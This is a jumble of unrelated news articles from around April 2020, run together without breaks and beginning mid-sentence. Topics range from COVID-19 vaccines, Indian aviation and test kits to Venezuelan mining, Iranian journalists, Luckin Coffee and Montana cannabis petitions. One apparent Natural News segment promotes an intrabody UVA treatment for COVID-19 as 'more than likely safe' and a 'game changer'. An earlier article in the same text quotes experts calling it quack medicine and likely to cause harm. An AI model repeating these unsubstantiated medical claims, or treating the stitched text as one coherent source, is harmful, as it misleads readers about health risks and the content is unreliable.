three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show There are approximately 130 companies operating under this segment, which is also called NSOP, and these have a total of about 350 aircraft and helicopters operating in this category. The aircraft consist of large, medium, and small business jets, and single-engine and twin-engine helicopters. All of these are used for charter operations on a day-to-day basis for international and domestic air charters. Some NSOP operators are pure helicopter companies, which are used for religious pilgrimage, and oil and gas exploration. For most charter companies, the present situation is grim. The NSOP operations survive on tight cash flows, and since all operations have come to a grinding halt, they have major cash flow issues in continuing to pay salaries to the their employees, including pilots and engineers, who are all highly skilled and high-salaried personnel. The helicopter companies are in dire straits, as the religious tourism has stopped completely. The present season of Shri Kedarnath Yatra, Shri Amarnath Yatra, Mata Vaishno Devi operations, etc. have all ceased, with a high probability that the entire season will be lost. Survival of these companies, especially the small ones looks difficult. Most of them have helicopters that are on lease, and lease rentals must be paid. With their present cash flows, this is a huge challenge. For fixed-wing charters, the situation seems a bit better. Once the lockdown is lifted, their operation can start again. In fact, there may be a spike in their flying, as some people who used to fly commercially in the pre-COVID era, may prefer to travel by chartering aircraft. Commercial flying is going to become even more painful, with long waiting time at airports, which will be the likely norm, once flying operations resume. If they can survive this period of the lockdown in terms of cash flows, their recovery will be much faster. However, they will need support from the government for some time until things return to normal. These are discussed later. Private operations Most aircraft which are operated by companies in the private category are being used by the senior management and company employees for their transportation needs. Most of these will resume normal operations once the lockdown is lifted. Some companies will find themselves under financial distress and may decide to sell their aircraft, since the company profitability may not allow the use of private aircraft or helicopters. To get the economy back on track, the government needs to address the challenges of this segment. Every private aircraft that is used efficiently creates employment, and adds to the profitability of the company, which in turn adds to the GDP of the county. I think the first lesson that seems clear is that for aviation companies to survive, they need to focus on cash flows and profitability. Gone are the days of reckless competition, where companies competed on unsustainable margins just to get the market share. They will not be able to survive otherwise. There may also be an opportunity to set up a new business model, as was done with the advent of Low-Cost Carriers (LCCs), which disrupted the scheduled airline business in the early 2000s. We need to a create a new segment called the Low-Cost Business Aircraft (LCBA). This is the segment that will cater to the new entrants who are moving from commercial to business aviation, and do not want to pay as much as they would for a regular charter. This can be achieved by using smaller aircraft, turboprops, selling of individual seats, and running regular schedules. Allow fractional ownership of aircraft. The fractional ownership model is accepted world-wide, which allows individuals to purchase a fraction of an aircraft and file the interest of each owner as an individual entity for all purposes, including taxation and depreciation benefits. Allow aircraft management companies to flourish in India. Again, this is a business model used across the world and allows consolidation and efficiency for the companies. Single aircraft owners can utilise the services of aircraft management companies to operate more efficiently, and safely. Rationalisation of GST on the import of private aircraft and helicopters. This is a long-pending demand. The present rate of 28 percent is unsustainable and needs to be brought down to 5 percent at par with NSOP. on the import of private aircraft and helicopters. This is a long-pending demand. The present rate of 28 percent is unsustainable and needs to be brought down to 5 percent at par with NSOP. DGCA restructuring ; Now than ever before, DGCA needs to get on to the e-platform with minimum contact with the operators. ; Now than ever before, DGCA needs to get on to the e-platform with minimum contact with the operators. Waiving off all parking charges and royalties at all airports till December 31, 2020. Waive off all taxes on ATF for a period of two years, and thereafter bring it under the GST regime. Reduce GST on charters to 5 percent from 18 percent immediately. Introduce 100 percent depreciation to companies on the purchase of aircraft in the first year itself. This allows more liquidity in the hands of the companies and encourages them to buy aircraft, which in turn has a domino effect on the economy and employment. This is being done in the US, and a few other countries. All bank guarantees given to government agencies by charter operators should be released immediately to improve cash flow situations in companies. A moratorium for DGCA requirement to for DGCA officials to visit OEMs/training facilities/MROs for the purpose of audit and clearances, and type certification requirements. A rationalising of training requirements for all skilled personnel of the industry. This would include pilots, AMEs, GH staff, etc. Online training for theory, with practical OJT within the country to be encouraged. Needless to say that all other interventions that the government plans for MSMEs should also be implemented for the charter industry, as all of them fall in this category. To conclude, the present situation is unprecedented, and it is unlikely that anyone who is presently active in the business environment has experienced anything like this. The need of the hour is for the government to work with greater empathy and trust towards the industry, and to ensure that the businesses are given an immediate blood transfusion so that they can survive, and then nurtured back to good health, slowly and steadily. It will require a collaborative approach to take this forward, without which the consequences will be bleak for the industry. Rohit Kapur is former President of Business Aircraft Operators Association. By Maria Ramirez PUERTO ORDAZ, Venezuela, April 27 (Reuters) - Venezuela's move to allow gold and diamond mining in six rivers in its Amazon region may worsen the environmental damage from a state-backed mining effort while also fueling the spread of the coronavirus, according to activists and lawmakers. Venezuelan President Nicolas Maduro's government this month lifted the long-standing prohibition on mining in the rivers, with the opposition-controlled National Assembly condemning the decree last week. Though such mining is already taking place illegally, critics said lifting the probation will encourage wildcat mines that for years have been a hotbed of infectious diseases just as the country is seeking to keep COVID-19 - the respiratory illness caused by the coronavirus - from spreading. "There is a direct relationship between mining and the growth of some epidemics such as malaria, measles and others," said Luis Bello of Wataniba Amazon Socio-Environmental Working Group, an environmental activist group. "So in the context of the coronavirus, mining activity in these rivers can create an environment conducive to contagion." Venezuela's information ministry did not respond to a request for comment. The official resolution authorizes mining in the Cuchivero, Caura, Aro, Caroni, Yuruari and Cuyuni rivers. They are located in the government-created Orinoco Mining Arc, an area of more than 42,800 square miles (111,000 square km) in ??the Venezuelan Amazon. Maduro's government since 2016 has supported small-scale mining there to bring in revenue amid an economic crisis, an effort that has expanded as the United States has increased sanctions meant to force him from power. The initiative has been criticized by environmental activists and rights groups for contaminating watersheds with mercury, fueling massacres as gangs battle for territory and serving as a breeding ground for disease. "They will devastate the water, soil and air," said lawmaker Maria Gabriela Hernandez, head of the legislature's environment commission. "The mercury they use causes serious harm to human beings, mainly to the miners and communities of the nearby areas." While the government, when it lifted the mining prohibition, reiterated an existing ban on the use of mercury, activists said that small-scale mining routinely ignores such regulations. Around 48,000 indigenous people belonging to nine different ethnic groups live in the affected area, according to 2011 census data. So far there have been no reports of coronavirus infections among these groups. (Reporting by Maria Ramirez, writing by Sarah Kinosian: Editing by Brian Ellsworth and Will Dunham) Messaging: brian.ellsworth.thomsonreuters.com@reuters.net, @ReutersVzla)) When India's 1.3 billion people come out of a 40-day lockdown on 3 May, imposed to contain the spread of COVID-19, they can hope that a battery of technologies that the government is readying to deploy against the contagious virus could offer them some protection. So far, COVID-19 is known to have infected 29,500 people in India, of whom 939 died, as of Tuesday (28 April). Of the 525,000 people tested, so far only four per cent have been found positive a comparatively low rate attributed to what is easily the world's harshest lockdown. However, it's a race against time as the country cannot be kept on lockdown mode for protracted periods without suffering grievous economic losses. No one understands the urgency better than Harsh Vardhan, union minister for health, as well as science and technology, who is charged with finding technology solutions to limit a projected spike on COVID-19 cases after the lockout is lifted. Modeling by Jawaharlal Nehru Centre for Advanced Scientific Research, Bangalore, projects that after the lockdown is lifted on 3 May infections could peak within two weeks, leading to as many as 38,000 deaths and requiring intensive medical care for 76,000 patients. "These are times of war," Vardhan, a physician before he entered politics, told the chiefs of 38 premier research laboratories that fall under India's Council of Scientific and Industrial Research (CSIR) via a video conference on 12 April. "CSIR scientists should work to deliver solutions before the war ends." Vardhan's personal oversight of the CSIR labs, the department of science and technology (DST) and a maze of other health and scientific establishments scattered across the country have produced a bewildering range of testing kits, sanitizers and respiratory assistive devices awaiting approval before final rollout. A surge of innovations First off the block is a unique paper strip test that uses CRISPR-Cas9 gene-editing technology that can detect COVID-19 within 10 minutes. Developed by CSIR's Institute of Genomics and Integrative Biology (IGIB), New Delhi, the kit costs only US$7 per test compared to US$65 per test using currently available imported kits. Debojyoti Chakraborty, a leading member of the IGIB scientific team, tells SciDev.Net that the specificity of the test is 100 per cent, meaning that all positive samples show positive, while selectivity is 90 per cent, meaning that for every ten negative samples, the test will indicate only one as falsely positive. Then there's GeneLAMP-N, a diagnostic kit that detects the highly specific N gene of the COVID-19 virus developed by DST's Sree Chitra Tirunal Institute for Medical Sciences and Technology, Thiruvananthapuram, in Kerala state. "We are waiting for a final nod from ICMR (Indian Council of Medical Research) before licensing out the technology for mass manufacture," Swapna Vamadevan, spokesperson for Institute tells SciDev.Net. Only test kits with proven, near-100 percent reliability for specificity and sensitivity, are recommended for commercial use by the ICMR India's apex body for the formulation, coordination and promotion of biomedical research. Other emerging innovations are focused on ventilators and equipment needed for treating severe cases of COVID-19. The Sree Chitra Tirunal Institute for Medical Sciences and Technology has also developed an artificial manual breathing unit which can assist critically-ill patients to breathe in settings where no regular ventilator is available. The technology, now undergoing clinical trials, is set to be mass manufactured by Wipro3D, Bangalore. Another portable ventilator, developed by the Tinkering Lab of the Indian Institute of Technology at Roorkee, uses an automated process to control pressure and flow rates during inhalation and exhalation by the patient. A truly affordable respiratory support device is one by Dynamatic Technologies, a Bangalore-based precision-engineering group. Amitabh Kant, the chief of Niti Aayog, India's development agency, described the equipment in a tweet as "zero electricity, No imports, No electronic components, maintains max/minimum pressure, controlled oxygen mix, controlled breathing rate, cost US$33". Questions on viability and availability But there are questions whether these hundreds of technologies being developed in the laboratories will be commercially viable at all and whether it will be made available on time due to bureaucratic delays. There are hundreds of cool technologies being developed but most of them may never see the light of day." Amitabh Bandhyopadhyay, Professor ,Indian Institute of Technology, Kanpur (IIT-K) Bandhyopadhyay, a former postdoctoral research associate at Harvard Medical School, has been trying to get manufacturing licenses for three IIT-K innovations targeting COVID-19, including an advanced N-95 mask using four-layer melt-blown technology for viral and bacterial protection and a disposable laminated suit for security guards, sanitization workers, health professionals and paramedics who need to have personal contact with people suspected to be victims or carriers of COVID-19. According to Acuite Ratings a leading rating and research firm accredited to the Reserve Bank of India the Indian economy loses US$4.5 billion for each day of lockdown. That would mean total losses worth US$160 billion by the time the lockdown is lifted. Leading physicians like Jacob Puliyel, head of pediatrics at New Delhi's St. Stephens Hospital, say that such economic losses are unacceptably high. "As theory, flatten-the-curve sounds plausible. In practice all it does is flatten the economy and inflict huge suffering and deaths. In the end the virus was not much worse than flu and the lockdown was unnecessary," Puliyel argues. (Bloomberg) -- When President Donald Trump suggested on Thursday that injecting disinfectant or ultraviolet light into the body could be a way to kill the coronavirus, his comments were widely criticized as harmful. But for one U.S. company, the presidents remarks have been a marketing opportunity and a lesson in modern-day politics. The companys chief executive officer maintains his company has been muzzled in recent days by social media companies. A few days before Trumps speech, Aytu BioScience, based in Englewood, Colorado, began promoting an ultraviolet technology that it claims can be inserted via a catheter into the throat, emitting ultraviolet rays inside the body through a LED light. In a promotional video, the company said that it had proven in the lab that the weakest kind of ultraviolet light, UVA, was -- at the right wattage and duration -- still effective at killing a variety of viruses and bacteria -- including the coronavirus. The video showed an illustration of a system it called Healight blasting lungs with ultraviolet rays. The companys video was quickly picked up by Trumps supporters on social media, where it was viewed and shared hundreds of thousands of times. On Friday, Fox Business Network host Lou Dobbs devoted a segment of his show to the technology. Meanwhile, on Twitter, Aytu began tagging journalists and prominent supporters of the president. We realize @realDonaldTrump comments about UV light as a potential treatment for Covid-19 may seem like they came from left field. They didnt. Peer reviewed data to be published soon the company tweeted. Aytu BioSciences shares declined 8.4% to $1.85 just before 1 p.m. Tuesday in New York. On Saturday, Googles YouTube deleted Aytu BioSciences video promoting the ultraviolet technology, and one of the companys accounts was also removed from Twitter. A YouTube spokesperson said the video was removed because it promoted unsubstantiated medical treatments for the coronavirus. Story continues A Twitter representative said the Aytu account was mistakenly caught in a spam filter and that it has since been reinstated. Josh Disbrow, the companys chief executive officer, criticized the social media companies for censorship. These days, politics seems to dictate that if one party says, The sky is blue, the other party is obligated to reply, No, its not and youre a terrible human being for thinking that, Disbrow wrote, in a Monday column in the Wall Street Journal. That leaves no room for science, in which the data speak for themselves, regardless of ideology and only when theyre ready. Several medical experts raised doubts about the treatment and suggested it could be dangerous. I would describe this as quack medicine, said Richard Parsons, senior lecturer in biochemical toxicology at Kings College London. UVA light is thought to be responsible for the majority of skin cancers that get diagnosed. Shoving a tube with UVA light down somebodys throat is more likely to cause damage to the cells in the lungs than to kill the coronavirus. Crispin Halsall, an environmental chemist and professor at Lancaster University in the U.K., said that the coronavirus hides itself within cells of the bodys respiratory membrane, and may also be present in other bodily fluids, which would make it difficult for ultraviolet light to eliminate it from the body. In laboratories, Halsall said, it is common to use UV light to sterilize surfaces. But inside the body, you are going to do more harm than good, Halsall said. This treatment sounds like snake oil to me, Halsall said. To insert light inside the body, orally or through the skin, is likely to cause serious damage to blood cells, muscle tissue, organ tissue and DNA. Aytu BioScience, which describes itself as a specialty pharmaceutical company focused on commercializing novel products, didnt respond to requests for comment. The company licensed the Healight technology from Cedars-Sinai, a nonprofit academic health-care organization in Los Angeles. Aytu and Cedars-Sinai have engaged with the Food and Drug Administration to pursue a rapid path to human use, Disbrow wrote in his newspaper column. Hardly anyone noticed -- until Thursday when President Trump mused, ...supposedly you brought the light inside the body... he wrote. A FDA representative declined to comment. Cedars-Sinai said in a statement that the technology had not been tested or used on patients and that it was working with Aytu with the aim of potentially enabling near-term use as a Covid-19 intervention for critically ill, intubated patients. On April 17, Block & Leviton LLP, a national securities litigation firm, said it was investigating Aytu for potential securities fraud. The investigation, the firm said, was in relation to news reports linking the company to the provision of unapproved Covid-19 tests to public health departments in Colorado and California, which had resulted in Atyus stock soaring 322%. (Updates with share price in fifth paragraph and Twitter response in ninth paragraph.) For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. While many scientists and pharmaceutical companies are racing to develop a severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) vaccine, there is also an urgent need for a coronavirus disease (COVID-19) treatment. The potent virus has now spread to 210 countries and territories, affecting more than 3.04 million people. Now, a team of German scientists is working on using antibodies to prevent and treat COVID-19. The researchers at the German Center for Infection Research (DZIF) are fast-tracking their work to develop new therapies and drugs to improve the treatment of coronavirus patients. The aim is to find neutralizing antibodies against SARS-CoV-2, the pathogen that causes COVID-19 disease. The same team has used the method for other viruses such as the human immunodeficiency virus (HIV) and Ebola. Now, they want to use it on the SARS-CoV-2, hoping to develop a drug for the deadly virus that has so far killed more than 211,000 people worldwide. A DZIF research group led by Prof. Florian Klein at the Institute of Virology of Cologne University Hospital is working on identifying and using antibodies to prevent and treat SARS-CoV-2 infections. The picture shows coronaviruses . Image Credit: Fusion Medical Animation Role of antibodies Antibodies have three main functions in the body. Firstly, antibodies are secreted into the blood and mucosa, where they will attach to a foreign invader, including toxins and pathogens. Pathogens are disease-causing microorganisms like bacteria, viruses, and parasites, or fungi. This is a process called neutralization. Secondly, antibodies activate the complement system to kill and destroy bacterial cells through a process called lysis or punching of holes in the cell walls. Lastly, they facilitate phagocytosis of foreign objects by phagocytic cells, in a process termed as opsonization. B cells are lymphocytes that play a pivotal role in the humoral immune response to produce antibodies against antigens. Further, these cells work by developing memory B cells, which provide long-term immunity. These cells remember a pathogen, so the next time it invades the body again, antibodies are present to kill it immediately, warding off infection and disease. Finding neutralizing antibodies The team analyzed B cells from blood samples of patients who have recovered from the novel coronavirus disease. B cells, also known as B lymphocytes, which make these essential molecules called antibodies. These antibodies trap specific invading viruses and bacteria. In the blood samples, the team identified individual B cells that can detect the novel coronavirus, the SARS-CoV-2, from millions of B cells present in the blood sample. From there, they decoded the genetic information of the antibodies. This way, they can use the information to produce more antibodies in the laboratory setting, which aims to target SARS-CoV-2 and neutralize it. "With this method, we are able to directly identify and investigate fully human SARS-CoV-2 neutralizing antibodies. In addition, we gain information to more effectively develop active vaccines," Prof. Florian Klein, who is part of the DZIF team from Cologne, Germany, said. Global coronavirus situation The number of cases is increasing by the minute, with many countries grappling with overwhelmed health care systems. The United States is the hardest-hit country in the pandemic, with its number of confirmed cases nearing one million and its death toll topping 56,000 people. Other countries with high infection numbers are mostly in Europe, with Spain and Italy having the highest number of cases in the continent. Spain has more than 229,000 infections and 23,521 deaths, while Italy has at least 199,000 cases and nearly 27,000 deaths. France, Germany, and the United Kingdom have 165,963, 158,758, and 158,348 cases, respectively. The World Health Organization (WHO) reiterates the importance of the health measures recommended at the beginning of the pandemic. Social distancing and hygiene practices are still potent weapons to prevent infection. Though many countries are strictly following stay-at-home orders and physical distancing measures, some are lenient, making it harder to contain the virus. The WHO recommends the "new normal," where in the world is safer, healthier, and better prepared. "The same public health measures we have been advocating since the beginning of the pandemic must remain the backbone of the response in all countries. Find every case, isolate every case, test every case, care for every case, and trace and quarantine every contact. And educate, engage, and empower your people. The fight cannot be effective without empowering people, and without the full participation of our people," Dr. Tedros Adhanom Ghebreyesus, the director-general of WHO, said. Odessa Police Department The Odessa Police Department is asking for the public's help in locating a person of interest in connection to a homicide that occurred last month in central Odessa. Marc James Morris, 44, is being sought only for questioning, according to a press release from OPD. Share this: Twitter Facebook WhatsApp LinkedIn Email Telegram Washington, D.C., April 27, 2020 Iranian authorities should immediately drop their investigations into journalists Masoud Heydari and Hamid Haghjoo, and let them work freely, the Committee to Protect Journalists said today. In the evening of April 23, the Telegram channel of the semi-official Iranian Labor News Agency (ILNA) posted a cartoon mocking the countrys leaders over their response to the coronavirus pandemic, according to a report by the exile-run Human Rights Activists News Agency. The image was deleted minutes after it was posted, according to that report. ILNA issued a statement later that night denying that it had ever published the cartoon, and saying the agency was being falsely accused on social media. Today, Tehran Prosecutor General Ali Alghasi-Mehr announced that Masoud Heydari, the managing director of the Iranian Labor News Agency, and Hamid Haghjoo, the administrator of the agencys Telegram channel, had been arrested the night the cartoon was posted, according to the Human Rights Activists News Agency. Authorities released Heydari on bail, and are holding Haghjoo in custody pending an investigation into the incident, according to news reports. CPJ could not determine exactly when Heydari was released, or whether charges have been filed against either journalist. At a time when prisons are petri dishes for the COVID-19 virus, Iranian authorities should cease locking up journalists for trivial offenses like allegedly sharing a cartoon, said CPJ Middle East and North Africa Program Coordinator Sherif Mansour. Hamid Haghjoo should be released immediately, and authorities should drop any investigation into him, Masoud Heydari, and all other journalists at the Iranian Labor News Agency. The cartoon mocked self-proclaimed Islamic healers who have touted cures for COVID-19. It depicted Iranian Supreme Leader Ali Khamenei as a nurse, and mocked Ayatollah Abbas Tabrizian and Mehdi Sabili, both of whom have claimed to have developed treatments COVID-19, according to reports. CPJ emailed the Iranian Labor New Agency for comment, but did not immediately receive any response. CPJ could not locate an email address for Irans judiciary, and its website was inaccessible. LONDON A new 60-page document submitted to the UKs customs authorities urges government to ban the import of cotton from Xinjiang, China, over persistent allegations of forced labour in the province. Written by the World Uighur Congress (WUC) and the Global Legal Action Network (GLAN), the document addresses the high-profile case in which more than a million Uighur Muslims are thought to be held in detention facilities, where theyre indoctrinated and forced to work. Its well-established that leading fashion brands source to varying extents from the region, with some companies and even the Better Cotton Initiative (BCI) suspending operations in light of concerns. Now, the WUC and GLAN would like to see the UK government take a firm stance opposing the alleged abuses in Xinjiang where its said that upwards of 80 per cent of Chinas cotton is cultivated and ban imports of the material. Luckin Coffee is being inspected by a second national agency a month after Chinas securities commission began scrutiny. Chinas top market regulator has launched an inspection into Luckin Coffee, joining the countrys securities watchdog in doing so as the coffee chain comes under scrutiny for fabricating millions of dollars worth of sales deals. Dozens of officers from the State Administration for Market Regulation (SAMR) raided Luckins main office in Beijing on Sunday, staying there from morning to evening, a source with direct knowledge of the situation told Reuters news agency. Luckin Coffee confirmed that it was being inspected by the SAMR in a post on its official Weibo account on Monday, saying it was actively cooperating with the regulator, which was trying to understand the companys operating situation. It did not respond to requests from Reuters for further comment. The China Securities Regulatory Commission announced earlier in April that it would investigate claims of fraud at Luckin after it announced an internal investigation had shown its chief operating officer and other employees fabricated sales deals worth about 2.2 billion yuan ($310.77m). The source, and a second one that has been in touch with regulators, told Reuters the Chinese regulators, in particular the CSRC, were acting on a request by the US Securities and Exchange Commission (SEC) to look into Luckin. The sources declined to be named because of the sensitivity of the issue, Reuters reported. Chinese state news agency Xinhua reported late on Monday the CSRC had communicated with the US SEC after the Luckin case came to light. The US SEC declined to comment and the SAMR and the CSRC did not respond to requests by Reuters for comment. Shares in Luckin, which aggressively pitched itself as a challenger to Starbucks in China, have plunged by more than 90 percent from their January high following the news. Bankers and investors have warned that Luckins issues were likely to weigh on other Chinese companies considering a US IPO a group already affected by the trade tensions of 2019. When her annual birthday bonfire went up in smoke because of COVID-19 restrictions, a River Heights woman decided to use the occasion to instead send a gift to Winnipegs front-line workers. Hey there, time traveller! This article was published 27/4/2020 (625 days ago), so information in it may no longer be current. Opinion When her annual birthday bonfire went up in smoke because of COVID-19 restrictions, a River Heights woman decided to use the occasion to instead send a gift to Winnipegs front-line workers. CARING AMID COVID-19 CRISIS Click to Expand Did someone get you groceries during your self-isolation? Did you deliver a meal to a neighbour? Did someone go above and beyond during this trying time? Tell us about it. We want to share the uplifting stories happening in our community as we cope with the coronavirus pandemic. Email: kindness@freepress.mb.ca "My birthdays in spring, so I usually have a big bonfire and feast with my friends in the backyard, but we couldnt do that this year because of the coronavirus," Luanne (Lulu) Hall said Monday. "I just thought: Im not going to have any birthday presents and nobodys going to see me, so why not let someone else have a little party?" Hall said. "Lets raise money for front-line workers instead." She hit on the online fundraising idea of "The 12 Days of Lulus Birthday," inspired by the iconic Christmas carol in which a series of increasingly grand (and often bird-related) gifts are given over a dozen festive days. ""I just thought: I'm not going to have any birthday presents and nobody's going to see me, so why not let someone else have a little party?" Luanne Hall In Halls case, 12 days before her 52nd birthday on April 22, she posted her offbeat challenge, inviting friends and family to send her "gifts of love" in the form of cash that would in turn be donated to firefighters, paramedics or health-care workers. "Every day for 12 days, I posted it on Facebook, asking whoever wanted to give me money instead of a birthday present and wed donate it... give back to our community," she said. "What I said was they could give from $2 to $52, because I was turning 52. I started off donating the first $52; then my cousin sent me $52. It just took off from there." At the end of 12 days, instead of drummers drumming and partridges in pear trees, 32 of Halls family and friends had helped her raise $791.66 ("Im topping it off to make it an even $800"). The Waterloo Street resident a call centre worker who is taking time off to care for her eight-year-old granddaughter, whose daycare was closed by the pandemic was delighted and surprised at how much was raised. "I thought we might raise $200. Im very happy. I was shocked we could do that. Im grateful to everyone who participated. Even my eight-year-old granddaughter gave $20 of her birthday money," Hall said. "I certainly miss my friends and the outdoor party, but this felt even better." The mother of two adult children said the $800 birthday jackpot will be donated to Winnipeg Fire Paramedic Service Station No. 16 on McGregor Street. "The reason I chose firefighters is because my daughter and her husband were victims of arson a few years back," Hall said. "They lost everything in their house... Somebody torched the garage and it started the house on fire. Stay informed The latest updates on the novel coronavirus and COVID-19 delivered to your inbox every weeknight. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "Neighbours got my two grandchildren out and firefighters got my daughter and her husband out of the house. I never got a chance to thank the fire department back then, so thats why I chose them," she said. "Also, my cousin is a firefighter at Station 16. I just thought they could use that money to purchase something they need, or even just buy coffee for their brother and sister firefighters." Inspired by the success of her fundraiser, Hall said she wants to challenge any Winnipegger with a birthday coming up to hold a similar online event to support front-line workers during the pandemic. Challenge your friends and family to donate to the cause of your choice, and give back for all they do for our community." Just don't accept any turtle doves, swans a swimming, or French hens, because they can make a real mess. doug.speirs@freepress.mb.ca (Natural News) A new ultraviolet (UV) therapy for treating the Wuhan coronavirus (COVID-19) is coming to a hospital near you. Developed by Cedars-Sinai hospital in Los Angeles, Healight Platform Technology, or healight, has been exclusively licensed to Aytu BioScience, Inc. for worldwide commercial development and release, which means that hospitals everywhere are soon to adopt it. Touted as a potential first-in-class treatment for coronavirus and other respiratory infections, healight utilizes proprietary methods of administering intermittent UVA light using a novel endotracheal medical device. Pre-clinical findings show that it has the potential to help eradicate the spread of the Wuhan coronavirus (COVID-19), as well as a wide range of viruses and bacteria, inclusive of coronavirus. With Dr. Mark Pimentel, MD leading the research, a team from the Medically Associated Science and Technology (MAST) Program at Cedars-Sinai has been working on healight since 2016, and a growing body of evidence shows efficacy as both an antiviral and antibacterial treatment. The group has been in talks with the United States Food and Drug Administration (FDA) about developing a near-term path that would enable early use of healight technology to treat Wuhan coronavirus (COVID-19) patients suffering in intensive care units (ICUs). Healight may also be useful in treating ventilator associated pneumonia, or VAP. Our team has shown that administering a specific spectrum of UV-A light can eradicate viruses in infected human cells (including coronavirus) and bacteria in the area while preserving healthy cells, Dr. Pimentel is quoted as saying. Dr. Ali Rezaie, M.D., another one of the inventors behind healight, further contends that extensive study into the technology has verified its usefulness in a range of clinical applications. Based on our findings we believe this therapeutic approach has the potential to significantly impact the high morbidity and mortality of coronavirus-infected patients and patients infected with other respiratory pathogens. We are looking forward to partnering with Aytu BioScience to move this technology forward for the benefit of patients all over the world, she says. Be sure to listen to The Health Ranger Report below as Mike Adams, the Health Ranger, talks about the mainstream media, including sources on the left and right, are herding the masses towards global vaccine mandates: UV light is already used to disinfect hospital rooms, equipment Aytu, Cedars-Sinai, and the FDA are all said to be working together towards forging a plan for the expedited regulatory approval of healight, which is urgently needed, they claim, to address the continued scourge of the Wuhan coronavirus (COVID-19). Those with critical illnesses associated with the Wuhan coronavirus (COVID-19) could benefit from a treatment that, especially compared to pharmaceuticals and vaccines, is minimally invasive and more than likely safe. Many hospitals are already using UV light to clean surfaces and disinfect rooms where Wuhan coronavirus (COVID-19) patients were treated. Extending this technology to direct treatment of Wuhan coronavirus (COVID-19) patients would seem to be the logical next step. Since natural UV light from the sun is fully capable of destroying harmful bacteria on skin, as well as viruses and other microbes, similar benefits could be had from artificial UV rays generated by medical devices, which is what Aytu and Cedars-Sinai hope can be widely implemented across the world. This first-in-class technology has the potential to be a game changer for clinicians treating patients infected with coronavirus and other respiratory conditions, and our team is working tirelessly alongside the Cedars-Sinai team to determine the safety and effectiveness of this device in humans, says Josh Disbrow, Chairman and CEO of Aytu BioScience. More of the latest news about the Wuhan coronavirus (COVID-19) is available at Pandemic.news. Sources for this article include: Yahoo.com NaturalNews.com Alanis Morissette says the music industry is primed for a #MeToo reckoning of its own. In a new interview with the Sunday Times Magazine, the singer speaks out against a culture she says is steeped in abuse and misogyny though she stops short of naming names. While industry figures like rocker Ryan Adams, R&B star R. Kelly, producer Dr. Luke and hip-hop mogul Russell Simmons have been accused, to varying degrees, of sexual misconduct, Morissette says a Hollywood-style movement hasnt even begun in the music industry. Read more: Ed Sheeran wont furlough bar staff at tax payers expense Almost every woman in the music industry has been assaulted, harassed, raped, the mom of three said. Its ubiquitous more in music, even, than film. Its just so normalised. Alanis Morissette says the music industry is rife with stories of abuse. (Photo: Sven Hoppe/dpa via Getty Images) Sex, drugs and rock n roll? she added. By definition its crass, sweaty and aggressive. But its only a matter of time before it has its own explosion of stories. The 45-year-old declined to identify anyone in particular as a perpetrator responding, I dont have an answer at this moment but did share instances from her own pop star past. Many things happened: sexual abuse, exploitation, financial undermining, she said of her music career, saying she was mistreated from age 3 onwards, frankly. That included being pressured to lose weight after skyrocketing to stardom with Jagged Little Pill, culminating in an eating disorder and depression. Unsolicited feedback is a form of violence against women, she said. Morissette turned to recovery groups and used her music to work through her demons. She told the Sunday Times that her record company responded by suggesting that the music video for Hands Clean feature kids singing its provocative lyrics about abuse. Morissette (performing in 1995) says she was pressured to lose weight and faced abusive behavior. (Photo: Paul Natkin/Getty Images) I was like, Have you heard the lyrics? Did you read ? No, right? she recalled. While she praised Kesha, who is in a lengthy legal battle with Dr. Luke over her allegation of rape, for kicking a**, Morissette also defended those who take their time to share their own experiences. Story continues Read more: Kate Hudson reveals she wanted to date Jimmy Fallon I mean, please. First of all, they didnt wait. Second, they face the threat of losing their job, reputation or not being believed. At best its swept under the rug, at worst you are admonished or fired, she said of women who expose abuse. My goal would be to take away the normalisation, she said later. And the structures that allow it. State attorneys and a pro-cannabis legalization group sparred on Tuesday over a proposal to collect signatures by electronic means in the coming months as the COVID-19 pandemic creates risk for petitioners and potential signers alike. New Approach Montana hopes to bring two measures to voters in November: I-190 would legalize recreational marijuana in Montana, while CI-118, a constitutional amendment, would set the legal age of consumption at 21. Earlier this month, New Approach asked a judge to suspend the Secretary of State's Office from enforcing certain deadlines to submit signatures for verification and to allow the group to collect signatures electronically. New Approach needs to secure 25,468 signatures for the ballot initiative, and 50,936 for the constitutional amendment to appear before voters. The group has less than two months to collect those signatures, and has yet to get the effort underway. Jim Molloy, who represents New Approach, said the group's interpretation of Gov. Steve Bullock's directives aimed at hampering the spread of the virus prohibits traditional electioneering. "Its a logical interpretation, that you should not be out approaching people," Molloy said during Tuesday's hearing. Prior to the court filing, New Approach approached Bullock's office seeking some direction on how to proceed when social distancing guidelines were in place, but the governor's staff told the group petitioning was not the appropriate place for Bullock's attention during the coronavirus pandemic, Molloy said. Molloy said, to his knowledge, DocuSign, the software company included in New Approach's proposal, has never before been used in the ballot initiative process. Electronic signatures, however, have been allowed by the Montana Legislature, Molloy said, in a 2019 law passed to allow voters overseas to cast their ballot remotely. DocuSign, Molloy continued, has been accepted by courts around the U.S. as acceptable in commercial transactions and legal proceedings. The software stores information for verification of each signer, he said, and would minimize any risk of fraud. Patrick Risken, an assistant attorney general representing the state in this case, argued DocuSign's global reach may pose a problem, and said it's still unclear to state election officials how the process would play out at the county level. "These signatures can be made from anywhere in the world that could or could not pose a security risk," Risken said. "We have no idea how this might assist the county clerks in their efforts." Risken also said New Approach's request to void all deadlines except that on Aug. 3 would "virtually wipe out" a time frame for other parties to challenge the validity of the signatures. Missoula County District Court Judge John Larson asked counsel for the Secretary of State's Office if extending deadlines to Aug. 3 would be "workable" for election officials. Austin James, chief legal counsel for the Secretary of State's Office, said some groups are still on the hunt for signature requirements, but added some ballot measure groups have already completed their required signature collections. James told Larson he would have totals from the current ballot initiative groups submitted by Wednesday morning. "The election staff, I must admit, are already fairly concerned with the volume they have based on the deadline that is set," James said. Larson did not issue a ruling at the end of Tuesday's hearing. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 